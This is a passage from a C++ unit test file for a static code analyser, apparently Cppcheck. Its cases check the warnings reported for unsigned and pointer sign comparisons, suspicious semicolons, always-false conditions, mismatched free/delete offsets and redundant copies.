ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. 